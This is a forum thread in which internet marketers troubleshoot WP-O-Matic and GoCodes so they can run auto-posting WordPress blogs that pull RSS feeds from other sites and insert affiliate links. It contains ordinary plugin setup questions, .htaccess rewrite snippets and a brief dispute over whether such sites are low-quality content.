      Anyone know a way to resolve this issue or an alternative plugin to automate posting?

      Thanks
      Thank YOU Lisa!

      If you're using the new WordPress 2.7, that might be it. It can take plugins a little while to catch up to new versions, but that's just speculation. I haven't tested it with 2.7 yet, so I can't say for sure. It DOES work with 2.6.5 though. If you aren't on 2.7 yet, make sure you meet the requirements for the plugin (listed on the download page). This is, of course, in addition to Tim's suggestion of making sure the whole plugin is there.

      When you say the "setup" screen, you're talking about the screen from "Settings > WP-O-Matic"? From there, you should click on "Add Campaign" to start. It's hard to tell what you're talking about specifically from your post. Try this stuff, and if no luck, try to clarify exactly where you're having trouble.

      Once again, glad you liked my post!
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  • Profile picture of the author jrsencio
    This sounds like a sound strategy. It would be good to do an actual test and make a case study which has a timetable and a list of actions done... with a specific income goal to reach in a predetermined number of days.
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  • Profile picture of the author lisa mesa
    Tim and Keith - Thank you both for the replies.

    I have installed WP-o-Matic 1.0RC4-6 to WordPress version 2.6.3.

    1. After installing the plugin, at wp-admin/plugins.php page there is a message at the top right of the screen:

    "Please click here to setup and configure WP-o-Matic."

    2. I click to go to this page:

    wp-admin/options-general.php?page=wpomatic.php&s=setup

    At this page it directs me to perform the SimplePie test. No problem with this test.

    3. Then I click Next to go to page 2 of 4 but nothing happens that button does not work. This why I cannot run through the setup process.
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    • Profile picture of the author Keith Kogane
      Originally Posted by lisa mesa View Post

      Tim and Keith - Thank you both for the replies.

      I have installed WP-o-Matic 1.0RC4-6 to WordPress version 2.6.3.

      1. After installing the plugin, at wp-admin/plugins.php page there is a message at the top right of the screen:

      "Please click here to setup and configure WP-o-Matic."

      2. I click to go to this page:

      wp-admin/options-general.php?page=wpomatic.php&s=setup

      At this page it directs me to perform the SimplePie test. No problem with this test.

      3. Then I click Next to go to page 2 of 4 but nothing happens that button does not work. This why I cannot run through the setup process.
      Very detailed! Thank you!

      However, that is a weird problem and I've never encountered that before. I'll try and do some testing and see if I can replicate it tomorrow. In the meantime, I would try deactivating and uninstalling. Then re-install and reactivate and try again. If it's still not working, I'd try and figure out what the URL was that it was trying to go to from the "Next" button and try going there directly. However, if it's a form button instead of a link (I don't recall, I don't have it in front of me) that may be a little trickier.

      I'll let you know if I'm able to figure something out. In the meantime, there are several other plugins mentioned elsewhere in this thread that will do similar things to WP-O-Matic (pull and post content from RSS feeds). I prefer WP-O-Matic, but something could be worked with the other plugins if we just can't get it working. So don't fret!
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  • Profile picture of the author lisa mesa
    Thanks again Keith.

    I have un-installed and reinstalled a few times.

    There are the links on the left of the initial setup page:

    Dashboard
    Campaigns
    Add Campaigns
    Options
    Import
    Export

    Each of these links when clicked correctly changes the url in the browser address bar BUT the page still reads as page 1 of the setup process.

    In the meantime I´ll look at the other auto posting plugins.
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    • Profile picture of the author Tim Dixon
      Originally Posted by lisa mesa View Post

      Thanks again Keith.

      I have un-installed and reinstalled a few times.

      There are the links on the left of the initial setup page:

      Dashboard
      Campaigns
      Add Campaigns
      Options
      Import
      Export

      Each of these links when clicked correctly changes the url in the browser address bar BUT the page still reads as page 1 of the setup process.

      In the meantime I´ll look at the other auto posting plugins.
      Hi Lisa.

      I just had a quick look through the bug report pages for WP-O-Matic and there are a couple of entries dating back to August with the same problem as you have (but no resolution).

      There was also another similar resolution where the originator realised he had uploaded the WPOM files directly into the Plugins directory rather than under 'Plugins/wp-o-matic' .

      Also, what browser are you using? I have problems using the WPOM interface in Internet Explorer.

      Tim
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      • Profile picture of the author lisa mesa
        Hi Tim,

        I saw that entry too. I did install it in plugins/wp-o-matic.

        I´m using Firefox 2.0.0.18

        Thanks for your input.
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        • Profile picture of the author Tim Dixon
          Originally Posted by lisa mesa View Post

          Hi Tim,

          I saw that entry too. I did install it in plugins/wp-o-matic.

          I´m using Firefox 2.0.0.18

          Thanks for your input.
          Ah well, back to the drawing board then!!

          I'll keep an eye out to see if I come across the issue on any of my blogs when I install WPOM.

          Tim
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  • Profile picture of the author Aaron Tan
    Yes...this autoblogging model works.

    I know it because I have been building "a lot" of such automated blogs filling them with RSS feeds from many different sources online.

    Last time I can literally build one such blog a day using wordpress and that includes designing a pleasant looking header and banner too.

    One thing I love to do is to include 3 self written articles to target those long tail in the niche I am venturing into.

    At least with this article, I can start sending visitors from forums, yahoo answers and such.

    I have about 60 such blogs still running till today and making a nice 4 figures adsense monthly.

    It is truly a rinse and repeat model...and a very profitable one if you know how to monetize it properly.

    Thanks for sharing such good info to those in need!
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  • Profile picture of the author Chris Lagarde
    I'm using WP 2.7. The wp-o-matic plugin works for feeds from RSS Mountain but not from feeds created with Google News. I haven't tried it with other feeds yet.
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  • Profile picture of the author Chris Lagarde
    If you are having trouble getting wp-o-matic to read your Google news rss feed, I think I've got a solution for you: Feedburner.

    Copy the Google news RSS feed you create, go to Feedburner, and paste it there. Feedburner will generate a Feedburner rss feed which does work!
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  • Profile picture of the author Tim Dixon
    Good tip there kingcatdaddy, usually you can get most 'difficult' feeds to work by burning them through FeedBurner first.

    You can also aggregate them through Google Reader as per the thread in my sig.

    Google Reader feeds seem to work great in WPOM without any additional burning.

    Tim
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    • Profile picture of the author Techie Turtle
      I don't know if I set something wrong on my WP-o-Matic but I wanted to give everyone a quick heads-up. I looked at my hosting root "/" directory (above /public_html) and there were almost 2000 cron.php.xxxxx files there. Worst, I wasn't the owner and couldn't delete them.

      You might want to check your root directory...
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      • Profile picture of the author wealthmaker2008
        ok what about this issue. I have pulled all rss and have loaded my rewrites but im having issues with the regex feature. Some of the words that I rewrite to a site url show in the post and im not sure how to get rid of that.
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    • Profile picture of the author Chris Lagarde
      Thanks Tim. I thought that might be the case but it was late and I was too tired to test it. I'm looking forward to trying your Google Reader method out, and/or combining with Keith's automated system.

      It's funny...it's been a lot of work wrapping my mind around the keyword research, setting up a hostgator reseller account, figuring out the right name server stuff to enter, struggling with the layout of Wordpress 2.7 and lots of little things that have consumed for more than a few hours. But finally, finally, it's coming together. The 2nd website will be vastly easier to create.

      Without the clear instructions that you, Keith, and many other contributors have taken the time to write, it would have been an impossible task. This IM newbie thanks you and all the other posters who take the time to write educational and money making posts!
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    • Profile picture of the author jbreezy
      Originally Posted by Tim Dixon View Post

      Good tip there kingcatdaddy, usually you can get most 'difficult' feeds to work by burning them through FeedBurner first.

      You can also aggregate them through Google Reader as per the thread in my sig.

      Google Reader feeds seem to work great in WPOM without any additional burning.

      Tim
      Tim you say your method is "semi-automated" - Are you just implying that you should occasionally go back in and check for new feeds - and to make sure your feeds are still turning out relevant content?

      Great posts BTW

      JB
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      • Profile picture of the author Tim Dixon
        I call it 'semi-automated' as although the posting to your blog is pretty much fully automated once you have it set up, the method I use involving Google Reader means I manually select and annotate the items that actually get posted.

        Tim

        Originally Posted by jbreezy View Post

        Tim you say your method is "semi-automated" - Are you just implying that you should occasionally go back in and check for new feeds - and to make sure your feeds are still turning out relevant content?

        Great posts BTW

        JB
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        • Profile picture of the author 4morereferrals
          Sorry folks wrong thread....
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          • Profile picture of the author Tim Dixon
            Originally Posted by Jeff Hope View Post

            Steve,

            That would be the WP-O-Matic Wordpress plugin that does that - takes the RSS items from wherever and makes them posts in Wordpress.

            Jeff
            As Jeff says, it's the WP-O-Matic plugin that does that.

            Not sure if you realised or not, but this is actually Keiths thread about automated blogging and in his OP, that's what he talks about and how to set it up.

            My threads, whilst touching on WPOM, don't go into how I set that up, they are more about how to facilitate the gathering, sorting and posting of that data into feeds suitable for plugins like WPOM to use.

            Hope that helps.
            Tim
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          • Profile picture of the author 4morereferrals
            Originally Posted by Jeff Hope View Post

            Steve,

            That would be the WP-O-Matic Wordpress plugin that does that - takes the RSS items from wherever and makes them posts in Wordpress.

            Jeff
            Thanks Jeff & Tim ...

            No if I could just get that damn WPoMatic plugin to work!!!

            Searched this thread for an hr looking for a fix or if others were having same issues as me. Nope - 10 pages of retina inflaiming scouring - nada.

            Been to the plugin authors site and well ... 1000's of posts on errors - not giving me a ton o confidence :-)

            Cant get past the WPOM Setup step 1 .... !
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  • Profile picture of the author wealthmaker2008
    huh nevermind i figured it out.
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    • Profile picture of the author moodykitty
      Originally Posted by Carl Pruitt View Post

      The auction title still gets searched for so you pick up a lot
      of "accidental" long tail keywords that keyword research could
      never turn up. I also go back and add a list of current auctions
      within the same post with BayRSS.

      I have gotten WP-O-Matic to pull the feed once, but then I have
      to delete it and start over if I want to fetch it again. So I
      have just been going ahead and fetching a 100 at a time. It has
      really juiced up the traffic to the site.
      Edit: Using Google Reader I've been able to create Atom feeds that work really well with WP-O-Matic and I can add the BayRSS code to the custom template so that each post has constantly updating up to date auctions.
      100 at a time? So you're creating 100 posts or you're getting 100 auctions in 1 post?
      Yes, google reader does work with ebay feeds, thanks


      Now to get traffic.... hmmm.....
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  • Profile picture of the author JL Melvin
    Very interesting thread - I've been using WP for a while now with some small successes...

    Question!!

    What themes are people using? Is there a common theme being used throughout this process?

    Thanks,
    Jeff
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  • Profile picture of the author Kyle Howard
    I see, they just let anybody post in here, huh? Heh, just playing.
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  • Profile picture of the author wealthmaker2008
    im having an issue with my gocodes/wpomatic. ok so if I load my url into gocodes lets say /go/new/ so new is the keyword, now what do i put in the rewrite section of wpomatic to make it line up and show up as a hyperlink??

    Thanks
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  • Profile picture of the author wealthmaker2008
    geez im ridiculous because everytime i ask a question my brain starts working again and i figure it out. should i use the same key word that i used for the gocode redirect or actually that really doesnt matter. If they are already posted then i can just use auto seo links cant i.
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  • Profile picture of the author wealthmaker2008
    huh so I went back in but its giving me a 404 message on the gocode links. Any suggestions
    Thanks
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  • Profile picture of the author wealthmaker2008
    Im to do process of elimination here i went into my folder in legacy file manager and did this

    # BEGIN Wordpress
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    </IfModule>
    # END Wordpress

    In the documentation for the go codes, it says do this:

    Place the following code in your .htaccess file, above the line that says "# BEGIN WordPress":
    `RewriteEngine On
    RewriteRule ^go/([a-zA-Z0-9_-]*)/?$ /index.php?gocode=$1 [L,R]
    This example assumes your blog is located at the root of your domain. If your blog is located at yourdomain.com/blog/, then you should change "/index.php" to "/blog/index.php".

    If that works for you, great! It didn't work for me!! Instead, just copy and paste the Line beginning with RewriteRule here:

    # BEGIN Wordpress
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^go/([a-zA-Z0-9_-]*)/?$ /index.php?gocode=$1 [L,R]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    </IfModule>
    # END Wordpress

    If it's in the same directory as the Wordpress install, don't mess with that "/blog/index.php" crap.

    That should fix the problem, if not just ask me and I'll try to help.

    Steve


    Both spots i tried and it didnt work. I think im just way too tired.
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  • Profile picture of the author wealthmaker2008
    haha Im just gonna quit asking questions cuz I keep figuring them out and feeling like a jackass cuz I dont want anyone to spend time trying to help me. Now I can sleep yaaaay
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  • Profile picture of the author wealthmaker2008
    Is this normal? I have the rss coming in just fine and switched the index.php and single.php to excerpt only, when you click on the title it doesnt leave my page it takes them to the post but its still just a snipet, its not the whole post. Any suggestions?? What if i put excerpt on the single.php and content on the index.php. If that works would i get all that crap at the end about its location in my file manager.

    Thanks
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    • Profile picture of the author moodykitty
      Originally Posted by wealthmaker2008 View Post

      Is this normal? I have the rss coming in just fine and switched the index.php and single.php to excerpt only, when you click on the title it doesnt leave my page it takes them to the post but its still just a snipet, its not the whole post. Any suggestions?? What if i put excerpt on the single.php and content on the index.php. If that works would i get all that crap at the end about its location in my file manager.

      Thanks
      You're pulling a feed that's only offering one line of text so you won't get any more content. The only way to fix it is to choose a different source for your feed, one that offers a few more lines of content rather than just a summary.
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  • Profile picture of the author wealthmaker2008
    well no it offers full content but I have changed that. When you go into your template you can change the code in both the index.php and the single.php. you change it from content to excerpt. I want to do that so they have to click the title of the post to get the full content. My question is that once you click on the title you cant get the full content. But if I take and put 'content' in the place of 'excerpt' then i get full content but on the front page. I dont want that I want a snipit on the page then click the title to get full content.

    Thanks sorry for not specifying
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    • Profile picture of the author Keith Kogane
      Hey everyone. Sorry for the delay in getting my report done - the holidays are really kicking my ass. Getting ready to travel, shopping, vicious headcold, etc. I'm still working on it, but no ETA. In the meantime, let me answer some questions!

      Originally Posted by travor View Post

      I don't know if I set something wrong on my WP-o-Matic but I wanted to give everyone a quick heads-up. I looked at my hosting root "/" directory (above /public_html) and there were almost 2000 cron.php.xxxxx files there. Worst, I wasn't the owner and couldn't delete them.

      You might want to check your root directory...
      That's crazy - something's weird with that, and I think it's got to do wiht your server config rather than WordPress. Maybe those are log records that your server's cron program creates? I don't know of any mechanism in WP or WPOM that would be creating files like that. Sorry I can't be of more help!

      Originally Posted by JL Melvin View Post

      Very interesting thread - I've been using WP for a while now with some small successes...

      Question!!

      What themes are people using? Is there a common theme being used throughout this process?

      Thanks,
      Jeff
      There have been a few suggestions for themes earlier in the thread, but my advice is to decide what your niche is, and decide what *kind* of site you're making (I make news aggregator sites with this method). Then, pick a theme that is appropriate to both your content, and format. I like "news" or "magazine" themes for my method, but not any specific one. I just browse until I see something I like.

      Originally Posted by wealthmaker2008 View Post

      well no it offers full content but I have changed that. When you go into your template you can change the code in both the index.php and the single.php. you change it from content to excerpt. I want to do that so they have to click the title of the post to get the full content. My question is that once you click on the title you cant get the full content. But if I take and put 'content' in the place of 'excerpt' then i get full content but on the front page. I dont want that I want a snipit on the page then click the title to get full content.

      Thanks sorry for not specifying
      You want to change it back to showing the full content on your post page. If you switched "single.php" to show only the excerpt, that's why it's messing up for you. Single.php is the post display template. Leave index as the excerpt, and put single back to full content.

      But judging from your past posts, you've probably figured that out on your own by now.
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  • Profile picture of the author sunnyman
    @ Keith Kogane: MAN! You could sell this information for like $87 at Clickbank! Imagine if someone just copies this thread info, edits it, and sells it....!
    (I bet this gave someone an idea...)

    Seriously: I will certainly take a good look at this method.
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    • Profile picture of the author Keith Kogane
      Originally Posted by sunnyman View Post

      @ Keith Kogane: MAN! You could sell this information for like $87 at Clickbank! Imagine if someone just copies this thread info, edits it, and sells it....!
      (I bet this gave someone an idea...)

      Seriously: I will certainly take a good look at this method.
      Yes, it's true. I'm a terrible capitalist, and a lazy product producer.
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  • Profile picture of the author wealthmaker2008
    lol I have thanks alot for all the great content keith I really appreciate it. Has any ever used the new version of hittail. Im having trouble getting to the option screen in my admin panel.

    Thanks
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  • Profile picture of the author Spencer Chun
    Thank you for the post and sharing your knowledge with us. I can't speak for everyone but I appreciate very much. I am starting to see the light.
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  • Profile picture of the author allbusiness888
    Did I miss something? What is the URL?
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  • Profile picture of the author Chris Lagarde
    Is anyone getting wp-o-matic working property with a Google news feed and WP 2.7? I can't get it work. Even if I try it via Tim Dixon's method, it still doesn't work.

    Yet if I put in an RSS feed from rssmountain.com, the setup does work (at least for pulling the initial posts).
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    • Profile picture of the author Tim Dixon
      Originally Posted by kingcatdaddy View Post

      Is anyone getting wp-o-matic working property with a Google news feed and WP 2.7? I can't get it work. Even if I try it via Tim Dixon's method, it still doesn't work.

      Yet if I put in an RSS feed from rssmountain.com, the setup does work (at least for pulling the initial posts).

      Hmm. I've just tried a Google News feed on one of my WP 2.6 blogs and that works fine.

      Let me just try it on a 2.7 blog.

      Tim
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      • Profile picture of the author Tim Dixon
        Well, I just set up a brand new WP2.7 blog.

        Added the WPOM plugin.

        Subscribed to a Google News feed in Google Reader.

        Tagged one of the entries and put that tag feed into WPOM.

        It created a new post no trouble at all.

        EDIT* I also have just tried adding a 'raw' Google News feed and that did not work, but if I burned the same feed through FeedBurner and used that it worked fine.

        Tim
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      • Profile picture of the author Chris Lagarde
        1. Don't copy and paste from Word! This is why my feeds were not working with wp-o-matic. It didn't matter if it was wp 2.65 or 2.7. It's Word that caused wp-o-matic not to work properly. I forgot that Word puts in all kinds of hidden garbage. I could kick myself for forgetting this basic fact of working with HTML.

        When I copied the same feed from notepad, whadda you know...it worked!

        2. Feeds compiled directly from Google News don't work. I even tried Atom rss format to no avail. However, if you take that same feed and either run it through Feedburner, or Google Reader (per Tim Dixon's instructions), it will work.

        Additional point
        3. I'll see if new stories come through the scheduled rss retrieval (cron job) tomorrow.

        Keith - be sure to include these points in your upcoming WSO!
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        • Profile picture of the author Chris Lagarde
          Part of the beauty of this auto-blog system is how wp-o-matic will take iterations of a word that you've designated, and make it an affiliate hyperlinked word---all automatically from fresh content flowing in from the rss feed.

          Is it possible to do the same thing with articles imported (reworked PLR content) into my blog? I think this auto-affiliate-hyperlink is an idea worth expanding.
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          • Profile picture of the author Tim Dixon
            Originally Posted by kingcatdaddy View Post

            Part of the beauty of this auto-blog system is how wp-o-matic will take iterations of a word that you've designated, and make it an affiliate hyperlinked word---all automatically from fresh content flowing in from the rss feed.

            Is it possible to do the same thing with articles imported (reworked PLR content) my blog? I think the auto-affiliate-hyperlink is an idea worth pursing further.
            If you bring in the article in through WPOM then you can use the same re-writing techniques as you would any other feed generated post (and if you've read my Google Reader thread you will know a technique to do that).

            If you want to just post the article manually there are other plugins that allow you to do a similar thing, but check first as some of them are dynamic in nature, so the link would not get passed out through your RSS feed.

            Tim
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          • Profile picture of the author Chris Lagarde
            Most of us probably already know about how to search for a phrase using Google. Highly relevant phrase searches can be tuned even further with negative terms. Below is what I found from Google's website. I'm not up to 15 posts so I can't paste URLs yet . Only one emoticon allowed each day, right? :-)

            Negative terms

            If your search term has more than one meaning (bass, for example, could refer to fishing or music) you can focus your search by putting a minus sign ("-") in front of words related to the meaning you want to avoid.


            For example, here's how you'd find pages about bass-heavy lakes, but not bass-heavy music:


            bass -music
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            • Profile picture of the author Chris Lagarde
              ...(and if you've read my Google Reader thread you will know a technique to do that)....

              Thank you for pointing this out Tim. I have not rigorously read through your Google Reader Parts 1 & 2 yet but that will be corrected shortly.
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  • Profile picture of the author jhongren
    Hey Keith,

    Thanks for sharing. I believe this outline is clear enough for anyone who wants to make money from niche blogging.

    I think the hurdle for most will be how to select the keywords and based on what criteria should they filter the keywords.

    Wrong keywords = wrong traffic = no sale (or even negative cashflow)

    Anyway, this automatic system only works for those who want to get their hands dirty by starting off the manual way by investing their time, effort and money.

    Automation can be done after the system is fully set up

    Thanks alot Keith!

    John
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  • Profile picture of the author jrsencio
    Is anyone having problems with these plugins?

    I installed them on a new 2.7 WP blog..

    - could not get the wpomatic link feature to work
    - could not find the gocodes management panel on wordpress

    Did anyone encounter these same problems?
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  • Profile picture of the author jrsencio
    Good news.. finally got gocodes working... problem remaining now is to figure out why the word replacement and linking does not work
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  • Profile picture of the author jrsencio
    Here's the answer to the other problem... the substitution or relinking of a word occurs only at the grabbing of feed data and populating of the blog. Otherwise if the posts are already posted you can no longer change the word unless you delete the blog posts and then go to wpomatic and reset and fetch again.
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  • Profile picture of the author wealthmaker2008
    I have 2 questions:
    1. Is my yahoo auto tags isnt working properly, when i hit add it just trys to link to another page and then stops. Is there a better way to tag the automated feeds you have coming in. Lets say you have 500 posts going back and manually adding tags could take awhile and i thought thats what yahoo auto tags did but i guess im wrong.

    2. with the wp cloner plugin that clones the site, does it allow you to have a different theme or are you copying word for word the same thing

    Thanks guys
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  • Profile picture of the author NewBeing
    Keith thanks for sharing your blueprint with us...

    I've just found that if you go to Google videos you can create a feed which works with wp-o-matic which includes a small image of a video and some text!

    You can use the advance search to get exactly what you want, the RSS feed is on the right hand side next to the search number results.

    Stewart
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    • Profile picture of the author Tim Dixon
      Originally Posted by NewBeing View Post

      Keith thanks for sharing your blueprint with us...

      I've just found that if you go to Google videos you can create a feed which works with wp-o-matic which includes a small image of a video and some text!

      You can use the advance search to get exactly what you want, the RSS feed is on the right hand side next to the search number results.

      Stewart

      Good find.

      You can also do much the same with YouTube videos by searching using the standard search box and then using your browsers Feed button to create a feed.


      Tim
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      • Profile picture of the author Louie D
        Thanks for your help guys.
        I have a simple question that I've been trying to solve for a couple of days now.
        When I try to fetch a feed, it only posts the title of the article (no content at all). Does anyone know why it's doing this?

        tnx
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  • Profile picture of the author kevinw1
    Louie, it could be the feed only includes the title. Some feeds do that, some include a snippet, and some the whole article/post - you can only get what the feed provides.
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  • Profile picture of the author dferrara
    Keith,

    Could you answer this for me...I've created many different niche blogs over the years but none seems to grow. I use RSS submit but not sure why my blogs plunge instead of grow. Can you give me an idea of what you may be doing that causes your blogs to grow over time instead of die over time.

    How many RSS sites do you submit to? As I mentioned, I use RSS submit and it submits to many, many sites.

    Thanks,
    Dominic
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    • Profile picture of the author Alminc
      Keith,

      You said you are writing an ebook about this method.
      When can we expect it to be offered ?

      Almin
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  • Profile picture of the author Sean A McAlister
    Keith,

    Great Stuff...and my apologies if this is a duplicate question...i got through 3 pages and wheeewww.

    My question is about the Go-Codes

    What do you enter in this box
    Redirection Key ----------------- The text after /go/ that triggers the redirect (e.g. yourblog.com/go/thekey/).


    And is this where you Enter Your Affiliate Link?

    Target URL ---------------- The URL you wish to redirect to. "http://" is required.


    Now...Once those boxes are done...how do those links show up in the aggregated feed on my site? In other words, 10 Auto Posts were just updated on my site. and all links point back to the Origin of the Feed.

    Thanks Man
    Sean

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    • Profile picture of the author Sean A McAlister
      Originally Posted by Steve Porcaro View Post

      Sean,

      Check out these tutorials I did hopefully it will clear up some of the questions you have regarding the GoCodes and Wp-o-matic

      Here it is Warrior Forum Auto Blog Thread

      All the best

      Hey Steve.....GREAT STUFF THERE! Thanks for putting that together..answered all my questions!

      And to Keith....Again a Great Post Man.

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      • Profile picture of the author Sean A McAlister
        Ok Steve,

        I got the .htaccess done.

        Followed you vid to a "T"

        No luck on the Redirects.

        Anything that you could think of that i am missing?

        Just to clarify....in the Wp-O-Matic when you edit the "Campaign".......
        the "relink" should be to your own site ...Right? The the "GoCodes" redirect to the Affiliate link ?
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        • Profile picture of the author Sean A McAlister
          lol..how could i forget the http:// You made that very clear in that awesome vid....but to be sure i doubled checked.

          I got the .htaccess taken care of.

          Will continue to trouble shoot...but i am stumped as i think i got everything.

          thanks for the help
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  • Profile picture of the author Louie D
    kevinw1,
    Thanks for your reply.
    However, I can view the feed page with full content. I know some of the feeds only have snippets on them. I choose not to use those, rather use the ones that have the full article on the feed.
    But I'm still having problems pulling the full article. It just pulls the title of the article.

    tnx
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    • Profile picture of the author Tim Dixon
      Originally Posted by Louie D View Post

      kevinw1,
      Thanks for your reply.
      However, I can view the feed page with full content. I know some of the feeds only have snippets on them. I choose not to use those, rather use the ones that have the full article on the feed.
      But I'm still having problems pulling the full article. It just pulls the title of the article.

      tnx
      Louie.

      On the options tab of WPOM, are you using a custom post template? if so it could be that the template is not set up correctly.

      Tim
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      • Profile picture of the author Louie D
        Originally Posted by Tim Dixon View Post

        Louie.

        On the options tab of WPOM, are you using a custom post template? if so it could be that the template is not set up correctly.

        Tim
        Tim, tnx so much for your help. That fixed it. I just checked the "custom post template" leaving it with just the content tag made it worked. If I don't click the checkbox if seems to pull just the title. I don't know why it's doing that but that fixed that problem.

        Another snag however that I hope u can help me with. When I first do a fetch for the 1st post it works, but after that anymore succeeding fetch via manual or automatic would not fetch anything. It says on the log that it tried to fetch for the set time but no new posts. I tried to fix this for a couple of days now but couldn't find the fix. It's not the feed because there's 25 items there.

        I hope u can help.

        tnx again,
        Louie
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        • Profile picture of the author Tim Dixon
          Originally Posted by Louie D View Post

          Tim, tnx so much for your help. That fixed it. I just checked the "custom post template" leaving it with just the content tag made it worked. If I don't click the checkbox if seems to pull just the title. I don't know why it's doing that but that fixed that problem.

          Another snag however that I hope u can help me with. When I first do a fetch for the 1st post it works, but after that anymore succeeding fetch via manual or automatic would not fetch anything. It says on the log that it tried to fetch for the set time but no new posts. I tried to fix this for a couple of days now but couldn't find the fix. It's not the feed because there's 25 items there.

          I hope u can help.

          tnx again,
          Louie
          Glad to have helped.

          Re. your next problem, I would hazzard a guess that on the options tab again you have the 'Max items to create on each fetch' set to 1.

          That will mean when it reads the feed it will fetch only the latest item and ignore the rest. You say there are 25 items in the feed, but if they are all older than the one you already fetched then WPOM is not going to look at them.

          HTH.

          Tim
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  • Profile picture of the author edman
    Great post Keith, I've just scanned through quickly, and I already see some valuable info in here. I'll take some time out o read the whole thread after the holidays.

    Warrior Forum always rocks

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  • Profile picture of the author chamilj
    Hi Keith
    Why don't you create an EBook about your method & sell it via Clickbank or directly from your site.
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    • Profile picture of the author Keith Kogane
      Now, onto some MEAT!

      Originally Posted by jhongren View Post

      Hey Keith,

      Thanks for sharing. I believe this outline is clear enough for anyone who wants to make money from niche blogging.

      I think the hurdle for most will be how to select the keywords and based on what criteria should they filter the keywords.

      Wrong keywords = wrong traffic = no sale (or even negative cashflow)

      Anyway, this automatic system only works for those who want to get their hands dirty by starting off the manual way by investing their time, effort and money.

      Automation can be done after the system is fully set up

      Thanks alot Keith!

      John
      Awesome point John. Matching the right keywords to the product you're promoting is important. You can shortcut this by using SpyFu to research your selected products, that way you know what keywords are making money for those products, and just use those. I've heard that Affiliate Elite would be good to use with this as well, but I don't use it, so I don't know for sure.

      Originally Posted by kingcatdaddy View Post

      Keith - be sure to include these points in your upcoming WSO!
      I snipped the rest of your post, but wanted to thank you for contributing. I'll certainly keep those points in mind as I (slowly) put together the full writeup. Your generosity is much appreciated!

      Originally Posted by dferrara View Post

      Keith,

      Could you answer this for me...I've created many different niche blogs over the years but none seems to grow. I use RSS submit but not sure why my blogs plunge instead of grow. Can you give me an idea of what you may be doing that causes your blogs to grow over time instead of die over time.

      How many RSS sites do you submit to? As I mentioned, I use RSS submit and it submits to many, many sites.

      Thanks,
      Dominic
      There are way too many variables to come up with a blanket reason. I don't use RSS Submit, but rather submit my sites manually. I don't know if that makes a difference. I also only work in niches that have a lot of "chatter" - meaning they have ongoing discussion and content creation. If during my niche research, I don't see enough content to sustain a blog, or even enough separate sources to make sense as an aggregator/authority site, I either try to "back up" the niche ladder and go broader, or just move on. Hope that helps. If not, ask away and I'll answer as best I can.

      For your other question, I submit to as many as I can find (there are plenty and more pop up every week). I'm not 100% meticulous with this, but I have a spreadsheet with all my RSS sites, and all my blogs. I just put a little X at every intersection where I've done a submission. I don't really blanket the whole list for every blog (though I probably should). Instead, I just try to hit a big chunk of them, and then occasionally when adding a new blog or new RSS site, I'll go back and hit a few more until I get bored. Not very scientific I know, but small amounts of effort can add up over time (especially if you do it systematically so you can track, hence the spreadsheet). Hope that answers your question!

      Originally Posted by Alminc View Post

      Keith,

      You said you are writing an ebook about this method.
      When can we expect it to be offered ?

      Almin
      Hopefully soon. I had a LOT of stuff done, but WordPress 2.7 came out in the interim. I know I need to include material that will work with that, but I haven't had too much time with the holiday to start a few 2.7 blogs and learn my way around. If it weren't for that, I'd probably be done with at least a basic PDF right now already. But I want to do some videos as well, so anyway - hopefully soon.

      Originally Posted by The IM Reporter View Post

      Keith,

      Great Stuff...and my apologies if this is a duplicate question...i got through 3 pages and wheeewww.

      My question is about the Go-Codes

      What do you enter in this box
      Redirection Key ----------------- The text after /go/ that triggers the redirect (e.g. yourblog.com/go/thekey/).


      And is this where you Enter Your Affiliate Link?

      Target URL ---------------- The URL you wish to redirect to. "http://" is required.


      Now...Once those boxes are done...how do those links show up in the aggregated feed on my site? In other words, 10 Auto Posts were just updated on my site. and all links point back to the Origin of the Feed.

      Thanks Man
      Sean

      -----If anyone knows this answer...great :-)
      You use your GoCodes in the Replace feature of the WP-O-Matic plugin.

      Originally Posted by tonythomas View Post

      Keith,

      Thank you, Thank you, Thank you!

      Awesome post!

      Thanks, again,
      Tony Thomas
      You're welcome!

      Originally Posted by iris View Post

      Great information, Thanks
      You're welcome!

      Originally Posted by edman View Post

      Great post Keith, I've just scanned through quickly, and I already see some valuable info in here. I'll take some time out o read the whole thread after the holidays.

      Warrior Forum always rocks

      Edward
      Thanks for taking the time to comment Edward. I know you'll find a lot of value here from your fellow warriors. Best of luck with the method!

      Originally Posted by Steve Porcaro View Post

      Sean,

      Check out these tutorials I did hopefully it will clear up some of the questions you have regarding the GoCodes and Wp-o-matic

      Here it is Warrior Forum Auto Blog Thread

      All the best
      Thanks for that resource, Steve. I know people will find it useful.

      Originally Posted by chamilj View Post

      Hi Keith
      Why don't you create an EBook about your method & sell it via Clickbank or directly from your site.
      Working on it. Thanks for your interest!
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  • Profile picture of the author Daniel Scott
    Is it just me, or does anyone else think the only thing this method will generate is what are basically "internet trash" that no one really wants to read, and only clicks the links to get out of there?

    I'm not saying it's not profitable. All I'm saying is that I think we should, perhaps, think about whether or not we're making the internet a better place or not.

    -Dan
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    • Profile picture of the author Keith Kogane
      Originally Posted by Daniel Scott View Post

      Is it just me, or does anyone else think the only thing this method will generate is what are basically "internet trash" that no one really wants to read, and only clicks the links to get out of there?

      I'm not saying it's not profitable. All I'm saying is that I think we should, perhaps, think about whether or not we're making the internet a better place or not.

      -Dan
      I appreciate the contribution to my thread (which you clearly didn't bother to read completely). It would be awesome if you had followed your own advice. Thanks for nothing! Jerk.

      For the rest of you who aren't so in love with the sound of your own self typing: more positive news, I am back from my holiday travels and family obligations and will be posting again soon.

      But it's late. Back to it tomorrow or Monday.
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    • Profile picture of the author Daniel Scott
      [QUOTE=Steve Porcaro;363838That effort is worth money...I know myself though I doing this on affiliate sites I go back and see what gets posted and I delete total irrelevance and total junk...yeah that may not be so automatic however that is what I do even though I am using pen names.[/QUOTE]

      Steve,

      First of all, thankyou for a well-thought out and polite reply.

      The fact that you're putting the effort in to make it a good site is what makes the difference. Any big site has a human touch, it's not just software!

      I appreciate a little more where this method comes in now, since you have mentioned that it can be adjusted. I've never really played with RSS (apart from using it to syndicate my OWN stuff), so I'm a little wiser I guess.

      I just know from my own personal web-surfing experience that so little of what is out there is any good. This tool DOES have to be monitored because 99% of what people write on the 'net is crap!

      Thanks again for your reply Steve.

      -Dan
